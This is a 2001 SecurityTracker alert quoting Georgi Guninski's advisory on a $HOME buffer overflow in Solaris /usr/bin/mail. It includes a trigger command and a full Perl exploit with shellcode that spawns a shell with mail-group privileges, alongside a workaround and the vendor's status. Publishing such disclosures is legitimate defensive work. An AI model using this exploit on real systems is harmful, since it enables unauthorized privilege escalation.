/usr/bin/mail Application for Sun Solaris Lets Local Users Gain Privileges of the Mail Group
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SecurityTracker Alert ID: 1001674 |
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SecurityTracker URL: http://securitytracker.com/id/1001674
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jun 4 2001
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Impact:
Execution of arbitrary code via local system, User access via local system
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Exploit Included: Yes
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Description:
A vulnerability has been reported in the mail client application that lets local users obtain effective group id privileges of the "mail" group.
The vulnerability is reportedly due to a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail.
If the user's HOME environment variable is set to a lengthy string, the vulnerability can be triggered. The following setting will reportedly trigger the vulnerability:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
A demonstration exploit script is included in the Source Message.
The vendor has reportedly been notified.
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Impact:
A local user can obtain group id privileges of the "mail" user group.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.sun.com/ (Links to External Site)
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Cause:
Boundary error
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Underlying OS:
UNIX (Solaris - SunOS)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Mon, 04 Jun 2001 18:14:30 +0300
Subject: $HOME buffer overflow in SunOS 5.8 x86
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Georgi Guninski security advisory #46, 2001
$HOME buffer overflow in SunOS 5.8 x86
Systems affected:
SunOS 5.8 x86 have not tested on other OSes
Risk: Medium
Date: 4 June 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.
Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
eip gets smashed with 0x41414141.
Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------
Workaround:
chmod -s /usr/bin/mail
Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.
Regards,
Georgi Guninski
http://www.guninski.com
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